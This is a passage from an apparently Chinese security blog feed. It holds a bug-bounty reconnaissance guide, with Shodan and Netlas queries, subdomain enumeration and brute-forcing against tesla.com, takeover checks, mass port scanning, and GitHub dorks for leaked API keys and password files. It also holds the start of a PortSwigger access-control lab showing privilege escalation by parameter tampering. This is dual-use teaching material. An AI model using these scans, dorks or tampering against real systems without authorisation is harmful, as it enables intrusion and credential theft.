Inc.&quot;</code></p></blockquote><p><strong>基本语法</strong></p><ol><li><p><strong>关键词搜索</strong>：可以输入任何关键词来搜索相关的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apache</span><br></pre></td></tr></table></figure></div></li><li><p><strong>精确短语搜索</strong>：使用引号来搜索精确短语。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;Apache 2.4.1&quot;</span><br></pre></td></tr></table></figure></div></li></ol><p><strong>过滤器</strong></p><ol><li><p><strong>hostname</strong>：查找特定主机名的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hostname:example.com</span><br></pre></td></tr></table></figure></div></li><li><p><strong>net</strong>：查找特定 IP 范围内的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net:192.168.1.0/24</span><br></pre></td></tr></table></figure></div></li><li><p><strong>port</strong>：查找特定端口上的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">port:22</span><br></pre></td></tr></table></figure></div></li><li><p><strong>os</strong>：查找运行特定操作系统的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">os:Windows</span><br></pre></td></tr></table></figure></div></li><li><p><strong>country</strong>：查找特定国家的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">country:US</span><br></pre></td></tr></table></figure></div></li><li><p><strong>city</strong>：查找特定城市的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">city:&quot;New York&quot;</span><br></pre></td></tr></table></figure></div></li><li><p><strong>before/after</strong>：查找在特定日期之前或之后发现的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">after:2022-01-01</span><br></pre></td></tr></table></figure></div></li></ol><p><strong>组合查询</strong></p><p>可以组合多个过滤器来精确搜索。例如，查找在特定端口上运行的特定服务，并且位于特定国家的设备：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apache port:80 country:US</span><br></pre></td></tr></table></figure></div><p><strong>特殊过滤器</strong></p><ol><li><p><strong>org</strong>：查找特定组织的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">org:&quot;Google&quot;</span><br></pre></td></tr></table></figure></div></li><li><p><strong>isp</strong>：查找特定 ISP 的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">isp:&quot;Comcast&quot;</span><br></pre></td></tr></table></figure></div></li><li><p><strong>product</strong>：查找特定产品或服务的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">product:&quot;Microsoft IIS&quot;</span><br></pre></td></tr></table></figure></div></li><li><p><strong>version</strong>：查找特定版本的软件或服务的设备。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">version:&quot;7.5&quot;</span><br></pre></td></tr></table></figure></div></li></ol><p>用 shodan 的语法找出该域名的真实 IP 绕过位于 CDN 上的服务器的速率限制：</p><p><code>hostname:secure.worldpay.com</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407081612327.png" alt="image-20240707190216429"></p><h3 id="part7-netlas"><a class="markdownIt-Anchor" href="#part7-netlas">#</a> <strong>part7 NEtlas</strong></h3><p>- <strong>通过组织名提取根域名</strong></p><p><code>netlas download -d whois-domain -c 10000 -i domain 'registrant.organization:&quot;TESLA, INC.&quot;' | jq -r .data.domain</code></p><p>- <strong>通过根域名提取子域名</strong></p><p><code>netlas download -d domain -c 10000 -i domain domain:&quot;*.tesla.com&quot; | jq -r .data.domain</code></p><p>- <strong>通过组织名提取资产</strong></p><p><code>netlas download -d cert -c 10000 -i certificate.names 'certificate.subject.organization:&quot;TESLA, INC.&quot;' | jq .data.certificate.names | tr -d &quot;\&quot;[],&quot;| grep -Ev &quot;^$&quot;| sed '/*/d' | tr -d ' ' | sort -u</code></p><h3 id="part-8-子域名爬取"><a class="markdownIt-Anchor" href="#part-8-子域名爬取">#</a> <strong>Part 8 子域名爬取</strong></h3><p>- <strong>子域名爬取</strong></p><p>意思就是通过第三方 API 或者开源情报信息，或者互联网留存的公开信息或者历史流量数据里面获取子域名，整个过程不涉及对域名的爆破，这样收集来的子域名也叫种子域名或者初始域名，这些域名会用到后面的进一步域名收集上，比如子域名爆破。</p><p>- <strong>Amass</strong> （慢）</p><p>amass enum --passive -d <a class="link" href="http://tesla.com">tesla.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>- <strong>Subfinder</strong></p><p>subfinder -d <a class="link" href="http://tesla.com">tesla.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -all</p><p><strong>github dork</strong>：</p><p>GitHub dorking 通常是通过 GitHub 的高级搜索功能来执行的，你可以在 GitHub 的搜索栏中输入特定的搜索语法来查找你感兴趣的内容或敏感信息。以下是一些常见的 GitHub dorks 及其用法：</p><ol><li><p><strong>查找 API 密钥</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">filename:.env API_KEY</span><br></pre></td></tr></table></figure></div><p>这将查找所有包含  <code>.env</code>  文件并包含  <code>API_KEY</code>  的代码库。</p></li><li><p><strong>查找配置文件</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">filename:config.json</span><br></pre></td></tr></table></figure></div><p>这将查找所有名为  <code>config.json</code>  的配置文件。</p></li><li><p><strong>查找密码文件</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">filename:passwords.txt</span><br></pre></td></tr></table></figure></div><p>这将查找所有名为  <code>passwords.txt</code>  的文件。</p></li><li><p><strong>查找私有仓库</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">is:private</span><br></pre></td></tr></table></figure></div><p>这将列出所有私有仓库。</p></li><li><p><strong>查找安全漏洞</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">filename:README security vulnerabilities</span><br></pre></td></tr></table></figure></div><p>这将查找所有 README 文件中包含 “security vulnerabilities” 关键词的代码库。</p></li></ol><h3 id="part-9-子域名爆破"><a class="markdownIt-Anchor" href="#part-9-子域名爆破">#</a> <strong>Part 9 子域名爆破</strong></h3><p>- <strong>子域名爆破 (情形 1)：</strong></p><p>对根域名下面的子域名直接进行爆破 (<a class="link" href="http://fuzz.example.com">fuzz.example.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>), 可根据需要用千万级字典</p><p><a class="link" href="https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056">all wordlists from every dns enumeration tool… ever. Please excuse the lewd entries (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>(200 万级)</p><p>- <strong>PureDNS</strong></p><p><code>puredns bruteforce all.txt tesla.com -r resolvers.txt </code></p><p>- <strong>ShuffleDNS</strong></p><p><code>shuffledns -d tesla.com -w all.txt -r resolvers.txt -mode bruteforce</code></p><p><code>resolvers.txt </code> 文件 (<strong>时刻保持最新</strong>)</p><p><a class="link" href="https://github.com/trickest/resolvers/blob/main/resolvers.txt">resolvers/resolvers.txt at main · trickest/resolvers (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>直觉或者经验告诉你有必要在某个域名花费更多的时间和精力，但一番挖掘下来又没有找到什么有用的东西，可以尝试对这个域名本身进行爆破，区别于目录爆 (<a class="link" href="http://admin.test.com/fuzz">admin.test.com/fuzz <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>), 这种情况下用小字典即可 (几千到几万量级）</p><p><strong>有以下常见情形</strong>:</p><blockquote><p><a class="link" href="http://admin-fuzz.example.com">admin-fuzz.example.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="http://fuzz-admin.example.com">fuzz-admin.example.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="http://adminfuzz.example.com">adminfuzz.example.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="http://fuzzadmin.example.com">fuzzadmin.example.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p></blockquote><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://raw.githubusercontent.com/trickest/resolvers/main/resolvers.txt;wget https://gist.githubusercontent.com/jhaddix/86a06c5dc309d08580a018c66354a056/raw/96f4e51d96b2203f19f6381c8c545b278eaa0837/all.txt;puredns bruteforce all.txt $domain -r resolvers.txt | sort -u | tee subs_puredns.txt; rm resolvers.txt; rm all.txt</span><br></pre></td></tr></table></figure></div><h3 id="part-10-子域名劫持"><a class="markdownIt-Anchor" href="#part-10-子域名劫持">#</a> <strong>Part 10 子域名劫持</strong></h3><p>- <strong>子域名劫持</strong> (子域名接管)，是当子域指向某被删除或移除的服务时的所产生的漏洞，比如常见的有 EC2 接管，DNS 区域接管，Microsoft Azure 接管</p><p>EC2 接管与典型的子域名接管攻击 (只能修改页面) 不同，EC2 接管具有更高的危害，可以在特定情况下声明 SSL 证书、监听流量并执行帐户接管</p><p>- <strong>EC2 接管</strong></p><p>当厂商将资产部署到 AWS 时，可能会运行具有关联 IP 的 EC2 实例，同时也创建指向这些 IP 的 DNS 记录，但在 EC2 实例被赋予新 IP 或被销毁后忘记删除 DNS 记录，则厂商很容易受到这种类型子域名接管攻击。</p><p>这个过程需要运气和自动化，假设有 100 万个域名，每天解析这 100 万个域名对应的 IP，不断从 EC2 获取 IP，并检查解析的 IP 列表里面是不是有刚刚获取到的 EC2 IP，如果有那就发现了漏洞；如果没有，那就释放 IP，继续获取，如果账号越多，那么成功率就会越高，AWS 对此的修复是<strong>封掉</strong>频繁分配 / 释放 IP 的 AWS 账户</p><h3 id="part-11-s3桶劫持"><a class="markdownIt-Anchor" href="#part-11-s3桶劫持">#</a> <strong>Part 11 S3 桶劫持</strong></h3><p>- <strong>S3 桶劫持</strong>，是指当 Amazon Web Services (AWS) 简单存储服务 (S3) 存储桶配置错误时发生的安全漏洞，允许未经授权的用户控制该存储桶</p><p>这类漏洞通常发生在两种情况下：【第一种最为常见】</p><p>* 无人认领的 S3 存储桶：如果应用程序或 DNS 记录中引用了存储桶名称，但存储桶本身未创建或已被删除，则攻击者可以创建同名存储桶，并可能拦截原始存储桶的数据</p><p>* 错误的权限：错误配置的存储桶权限可能允许未经授权的用户列出、读取、写入或删除存储桶的内容</p><p>- <strong>Nuclei</strong></p><p><code>cat subs-with-http.txt | nuclei -t nuclei-templates/http/takeovers/aws-bucket-takeover.yaml</code></p><p>- 如何判断是否有接管的可能性？</p><p>访问域名且根目录为 / 的 URL，看到提示 “The specified bucket does not exist” 代表有戏，</p><p>但 BucketName 是亚马逊域名的话，可以跳过，不是的话，可以一试。</p><p>运行以下命令检查 DNS 记录，获取接管所需的信息 (悬空域和存储桶名称)：</p><p><strong> <code>dig CNAME</code>  存储桶名称</strong></p><p><strong>S3 桶劫持存在多种变体，因此不能仅通过查看 dns 记录来检测他</strong></p><h3 id="part-12-端口扫描"><a class="markdownIt-Anchor" href="#part-12-端口扫描">#</a> <strong>Part 12 端⼝扫描</strong></h3><p><strong>Nmap</strong> 应该是知名度最高的端口扫描工具，但由于其扫描速度，一般不作为检查 的首选。然后有人推荐 Masscan，这个工具确实很快，但有时会产生误报。</p><p>现在有了一个两全其美的方法。Naabu 用于初始端口扫描先检查一下 ，然后<strong>调用 Nmap 进行服务识别</strong>，以获取更详细的扫描信息</p><p><code>naabu -list lists.txt -p - -exclude-ports 80,443,21,22,25 -rate 20000 -c 500 -retries 2 -warm-up time 1 -silent -nmap-cli 'nmap -sV -oX scan.xml' </code></p><blockquote><p><code>-exclude-ports 80,443,21,22,25</code> ：排除这些端口</p><p><code>-rate 20000</code> ：默认的过低</p><p><code>-c 500</code> ：默认 25 线程还是有点少</p><p><code>-retries 2</code> ：默认重连 3 次太多了，两次就行</p></blockquote><h3 id="part-13-技术识别"><a class="markdownIt-Anchor" href="#part-13-技术识别">#</a> <strong>Part 13 技术识别</strong></h3><p>但在技术识别之前，先进行测活，<strong>把之前收集的所有的 ip 列表，域名列表，以及这些 ip / 域名开放的端⼝列表进行测活</strong></p><p>- <strong>测活</strong>：</p><p><code>cat subs.txt | httpx | tee subs_live.txt 或者 cat subs.txt | httpx -nf | tee subs_live.txt </code></p><p>- <strong>Nuclei</strong></p><p><code>cat subs_live.txt | nuclei -t http/technologies/ </code></p><p>- <strong>webanalyze</strong></p><p><code>./webanalyze -host example.com -crawl 1 -output csv</code></p><h3 id="part-14-技术栈识别"><a class="markdownIt-Anchor" href="#part-14-技术栈识别">#</a> <strong>Part 14 技术栈识别</strong></h3><p>- <strong>Builtwith</strong> <a class="link" href="https://builtwith.com/relationships/tesla.com">https://builtwith.com/relationships/tesla.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>用于了解<strong>网站关联性情况</strong>，识别某网站用的技术找使用相同技术的其他网站，根据相同技术的使用情况显示相关网站，这些网站可能也属于这个厂商的资产</p><h3 id="part-15-favicon-分析"><a class="markdownIt-Anchor" href="#part-15-favicon-分析">#</a> <strong>Part 15 Favicon 分析</strong></h3><p>- <strong>Favicon 分析</strong> （资产归类）</p><p>现代浏览器会在网页标题左侧显示一个小<strong>图像 / 图标</strong>，该图标称为 favicon.ico，获取 favicon.ico 并计算其哈希值，根据 Favicon Hash 对域 / 子域 / IP 进行排序</p><p>- <strong>FavFreak</strong></p><p><code>cat subs_live.txt | python3 favfreak.py -o output</code></p><p>用 fofa 可以快速获取厂商的<strong> Favicon Hash</strong> 后在 shodan 里面搜索从 fofa 那里获取的<strong> Favicon Hash</strong></p><h3 id="part-16-截屏"><a class="markdownIt-Anchor" href="#part-16-截屏">#</a> <strong>Part 16 截屏</strong></h3><p>- <strong>截屏</strong></p><p>Gowitness 使用 Headless Chrome 获取</p><p>网站的屏幕截图</p><ol><li><p>先用 <code>gowitness file -f urls.txt --threads 50</code>  这条命令，对 <code>urls.txt</code>  里面的 url 进行截屏</p></li><li><p>运行 <code>gowitness report serve -a vps</code>  的 ip: 端口启动报告服务器</p></li></ol><h3 id="part-17-爬虫"><a class="markdownIt-Anchor" href="#part-17-爬虫">#</a> <strong>Part 17 爬⾍</strong></h3><p>- <strong>Burp Suite Pro （点点点就完事了）</strong></p><p>- <strong>Hakrawler</strong></p><p><code>cat subs_live.txt | hakrawler -subs &gt; hakrawler_out.txt </code></p><p>- <strong>Katana</strong></p><p><code>cat subs_live.txt | katana -sc -kf robotstxt,sitemapxml -jc -c 50 &gt; katana_out.txt </code></p><p>- <strong>Gospider</strong></p><p><code>gospider -S subs_live.txt -o gs_output -c 50 -d 2 --other-source --subs --sitemap --robots </code></p><p>- <strong>Gau</strong></p><p><code>cat subs_live.txt | gau &gt; gau_out.txt </code></p><p>- <strong>Oxdork</strong></p><p><code>oxdork &quot;site:yahoo.com&quot; -c 100</code></p><p>爬虫的作用就是给你一个 <strong>测试的入口点</strong>，但不能完全依赖爬虫，</p><p>信息的收集往往不是独立的，而是多个工具和多个手法相互作用的结果</p><h3 id="part-18-目录爆破"><a class="markdownIt-Anchor" href="#part-18-目录爆破">#</a> <strong>Part 18 目录爆破</strong></h3><p><strong>目录爆破的作用</strong></p><blockquote><p>- 隐蔽功能发现</p><p>- API 文档泄露</p><p>- 备份文件泄露</p><p>- 错误配置</p><p>- 403 绕过</p><p>- 其他</p></blockquote><p><strong>- 字典获取</strong></p><p><a class="link" href="https://wordlists.assetnote.io/">https://wordlists.assetnote.io/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content">https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://github.com/orwagodfather/WordList">https://github.com/orwagodfather/WordList <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>- 不知道如何挑选字典就试一下下面的通用字典</strong></p><p><a class="link" href="https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/403/403.md">https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/403/403.md <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> (403 绕过字典)</p><p><a class="link" href="https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/fuzz-Bo0oM.txt">https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/fuzz-Bo0oM.txt <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> (4k 量级)</p><p><a class="link" href="https://github.com/Bo0oM/fuzz.txt/blob/master/fuzz.txt">https://github.com/Bo0oM/fuzz.txt/blob/master/fuzz.txt <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> (5k 量级)</p><p><a class="link" href="https://github.com/orwagodfather/WordList/blob/main/fuzz.txt">https://github.com/orwagodfather/WordList/blob/main/fuzz.txt <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> (22k 量级)</p><p><a class="link" href="https://github.com/thehlopster/hfuzz/blob/master/hfuzz.txt">https://github.com/thehlopster/hfuzz/blob/master/hfuzz.txt <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> (18w 量级)</p><p><a class="link" href="https://github.com/six2dez/OneListForAll">https://github.com/six2dez/OneListForAll <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> (多个量级)</p><p>- <strong>创建一个自定义字典</strong></p><p>按照之前的爬虫方法收集目标的 所有 URL (Burp Suite Pro， Hakrawler 等等方法)，把所有结果去重后保留在一个文件，<strong>这些字典要记得保持更新，这是一个循环迭代的过程</strong></p><p>- 获取路径字典</p><p><code>cat urls.txt | unfurl paths | sed 's/^.//' | sort -u | egrep -iv&quot;\.(jpg|swf|mp3|mp4|m3u8|ts|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt|js)&quot; | tee paths.txt</code></p><p>- 获取参数字典</p><p><code>cat urls.txt | unfurl keys | sort -u | tee params.txt</code></p><p>这些字典可以作为以后测试每个子域名的字典，因为是同一个厂商，所以这个子域名的路径在另一个子域名可能也有用 (参数也是同理)</p><p><code>feroxbuster--urlhttps://promo.indrive.com/-wpaths.txt</code>  (容易被 ban)</p><h3 id="part-19-参数收集和爆破"><a class="markdownIt-Anchor" href="#part-19-参数收集和爆破">#</a> <strong>Part 19 参数收集和爆破</strong></h3><p><strong>GAP-Burp-Extension</strong></p><p>- <strong>参数爆破</strong></p><p><strong>隐藏参数的识别</strong>往往是通过状态码的变化，响应长度的变化，页面是不是反射了这个参数等等<strong>差异分析识别</strong>出来的</p><p>- <strong>Param-Miner</strong> 是 Burp Suite 比较常用的参数爆破插件</p><p>- <strong>Arjun</strong> 是比较常用的参数爆破命令行工具 (自动化可以试试，手动挖的时候不建议用)</p><p>- <strong>Burp Suite Pro Intruder 模块</strong> 是比较适合用来发现和 <strong>XSS 漏洞</strong>相关的参数</p><h3 id="part-20-javascript-分析"><a class="markdownIt-Anchor" href="#part-20-javascript-分析">#</a> <strong>Part 20 JavaScript 分析</strong></h3><p><strong>JavaScript 分析：</strong></p><p>- <strong>JSSCAN</strong></p><p><code>for i in $(cat all_js.txt); do python3 /root/tools/JSSCAN/JSSCAN.py -u $i -d 2 &gt;&gt; JSSCAN.log; done</code></p><h3 id="part-21-javascript-监控"><a class="markdownIt-Anchor" href="#part-21-javascript-监控">#</a> <strong>Part 21 JavaScript 监控</strong></h3><p>- <strong>JSMon</strong></p><h3 id="part-22-威胁建模"><a class="markdownIt-Anchor" href="#part-22-威胁建模">#</a> <strong>Part 22 威胁建模</strong></h3><p>- <strong>威胁建模，针对信息收集的结果，构想可行的测试方案</strong></p><p>在经过一系列的信息收集，我们获取了目标的子域名和 ip，获取了目标的各种 URL，还生成了针对目标的自定义字典，如果你进行 github 信息收集，可能还能搜集到目标泄露的账号密码，虽然我们收集了一系列信息，但是摆在我们面前的还有一个很头疼的问题，我们现在有数万，10 几万，甚至有时候是几十万的 URL，我们如何处理这些 URL，这些 URL 里面也许就藏着有漏洞的 URL，或者这些 URL 里面都没有漏洞，但是可能是漏洞 URL 的入口点 URL (像之前提到的 <code>promo.indrive.com=&gt;id.indrive.com</code> ) 我们不可能一个一个打开这些 URL，因为这是不现实的，这也是我们接下来要讨论的话题如果说信息收集是收集到目标相关的资产信息，那么威胁建模就是从这些收集的信息再逆推回去找出<strong>可能的测试方案</strong>以及<strong>有可能有漏洞的子域名</strong></p><p><strong>首先比较简单的一种方法是你可以对你之前爬取到的数据过滤一下关键字</strong></p><p>比如  <code>grep &quot;asp&quot;</code> , 这样的搜索出来的域名可以优先测试，容易出现 SQL 注入和 XSS 同理还可以  <code>grep &quot;php&quot;</code></p><p>同理还可以 <code>grep -E &quot;admin|login|signup|register|registration|password|testuser|testing|firebase&quot;</code> <strong> 获取管理面板，登录面板</strong>等等</p><p>同理还可以 <code>grep -E &quot;api|apidoc|internal|secret|swagger&quot; </code> <strong>获取 api 接口</strong></p><p>还可以 <code>grep -E &quot;dev|stage|stg|staging|prod|qa&quot; </code> <strong>获取开发，测试，暂存环境</strong></p><p>除了刚刚方法，<strong>我们还可以通过每个域名出现的 URL 数量，按照从大到小进行排序，然后决定测试哪个域名</strong>。某种意义上说，出现的 URL, 出洞的概率越大，隐藏的功能点越多，当然不排除脏数据的可能。另外需要注意的是，这个判断方法不适用主要域名，虽然主要域名可能功能更多，但受到的关注也更多，安全系数也更高</p><h3 id="part-23-信息收集框架"><a class="markdownIt-Anchor" href="#part-23-信息收集框架">#</a> <strong>Part 23 信息收集框架</strong></h3><p>列出两个常用的：</p><p>- <strong>reconFTW</strong></p><p>- <strong>reNgine</strong></p><p>主要使用它们的子域名收集和截图相关的功能，不指望它可以扫出什么漏洞，大部分挖洞的过程应该在 Burp suite 手动进行。而且大部分的时候，我会重新进行目录爆破，因为需要生成自定义字典以适配目标厂商，同时设置适当的过滤规则防止太多误报的输出</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;information-gathering&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#information-gathering&quot;&gt;#&lt;/a&gt; Information Gathering&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;信息收集：&lt;</summary>
      
    
    
    
    <category term="Web SRC" scheme="http://example.com/categories/Web-SRC/"/>
    
    
  </entry>
  
  <entry>
    <title>Access-Control</title>
    <link href="http://example.com/2024/07/06/PortSwigger-Access-Control/"/>
    <id>http://example.com/2024/07/06/PortSwigger-Access-Control/</id>
    <published>2024-07-06T14:04:43.000Z</published>
    <updated>2024-08-28T06:53:55.260Z</updated>
    
    <content type="html"><![CDATA[<h2 id="访问控制"><a class="markdownIt-Anchor" href="#访问控制">#</a> 访问控制</h2><p>应用程序首先会判断用户的身份（账号密码登录），随后确认后续请求是否由该用户发出（会话管理），然后判断是否允许用户执行 “所请求的操作” 或访问 “所请求的资源（访问控制</p><p><strong>从用户角度访问控制模型分为以下类型：</strong></p><ol><li><strong>垂直访问控制</strong>：控制不同权限等级的用户访问应用程序不同的功能；如 “管理员” 可以修改 / 删除账号，而普通账号无法操作。</li><li><strong>水平访问控制</strong>：控制用户只能访问自己的资源，而不能访问其他用户相同类型的资源；如 “银行程序用户只能从自己的账号进行付款，而不能查看其他用户的账户”。</li><li><strong>上下文相关的访问控制（多步骤）</strong>：防止用户以错误的顺序执行操作；如 “零售网址阻止用户付款后，修改订单信息” 等逻辑顺序。</li></ol><ul><li><strong>身份验证</strong>确认用户是他们所说的人。</li><li><strong>会话管理</strong>可识别同一用户正在发出哪些后续 HTTP 请求。</li><li><strong>访问控制</strong>确定是否允许用户执行他们尝试执行的操作。</li></ul><h2 id="labportswigger_access-control"><a class="markdownIt-Anchor" href="#labportswigger_access-control">#</a> Lab–PortSwigger_Access-Control</h2><h3 id="垂直权限提升"><a class="markdownIt-Anchor" href="#垂直权限提升">#</a> 垂直权限提升</h3><p>主要是拿到管理员权限，如果用户可以访问不允许他们访问的功能，则这是垂直权限提升。例如，如果非管理用户可以访问管理页面，他们可以在其中删除用户帐户，则这是垂直权限提升。</p><h4 id="1-robotstxt泄露未授权访问页面"><a class="markdownIt-Anchor" href="#1-robotstxt泄露未授权访问页面">#</a> 1.  <code>robots.txt</code>  泄露未授权访问页面</h4><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062215404.png" alt="image-20240706221453314"></p><p>然后直接访问 <code>/administrator-panel</code></p><p><code>robots.txt </code> 文件规定了搜索引擎抓取工具可以访问您网站上的哪些网址。 此文件主要用于避免您的网站收到过多请求；它并不是一种阻止 Google 抓取某个网页的机制。</p><p>如果可以访问到网站的 <code>robots.txt</code> ，就可以直接看到网站的部分目录</p><h4 id="2-js文件暴露未授权访问页面"><a class="markdownIt-Anchor" href="#2-js文件暴露未授权访问页面">#</a> 2. <code> JS</code>  文件暴露未授权访问页面</h4><p>通过 F12 查看 js 代码，有时会发现敏感页面</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062221631.png" alt="image-20240706222134594"></p><p>然后直接访问</p><p>贴一个工具 <code>JSSCAN</code> :</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062228868.png" alt="image-20240706222801756"></p><h4 id="3-参数控制的访问权限"><a class="markdownIt-Anchor" href="#3-参数控制的访问权限">#</a> 3. 参数控制的访问权限</h4><p>某些应用程序在登录时确定用户的访问权限或角色，然后将此信息存储在用户可控制的位置。这可能是：</p><ul><li>一个隐藏的字段。</li><li>Cookie。</li><li>预设查询字符串参数。</li></ul><p>应用程序根据提交的值做出访问控制决策。例如：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://insecure-website.com/login/home.jsp?admin=true https://insecure-website.com/login/home.jsp?role=1</span><br></pre></td></tr></table></figure></div><p>这种方法是不安全的，因为用户可以修改他们无权访问的值和访问功能，例如管理功能。</p><p>先登录普通用户，发现一个 Admin 参数控制是否是管理员：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062233498.png" alt="img"></p><p>登录普通用户之后，访问管理员页面，将 Admin 改为 true 即可访问：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062233903.png" alt="image-20240706223342875"></p><h4 id="4-响应包参数控制的访问权限"><a class="markdownIt-Anchor" href="#4-响应包参数控制的访问权限">#</a> 4. 响应包参数控制的访问权限</h4><p>一些访问控制的参数有时候可能不在登录处或者访问敏感页面处，而是在更新一些个人信息的时候。</p><p>比如在更改个人邮箱处，以 json 传输数据：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062237911.png" alt="image-20240706223730876"></p><p>查看响应包可看到敏感参数 roleid，猜测其是控制权限的参数：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062238299.png" alt="image-20240706223808273"></p><p>在请求头中加入 roleid，达到覆盖参数的效果：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062238818.png" alt="image-20240706223826784"></p><h4 id="5-header头中x-original-url参数控制的访问权限"><a class="markdownIt-Anchor" href="#5-header头中x-original-url参数控制的访问权限">#</a> 5.  Header 头中 X-Original-URL 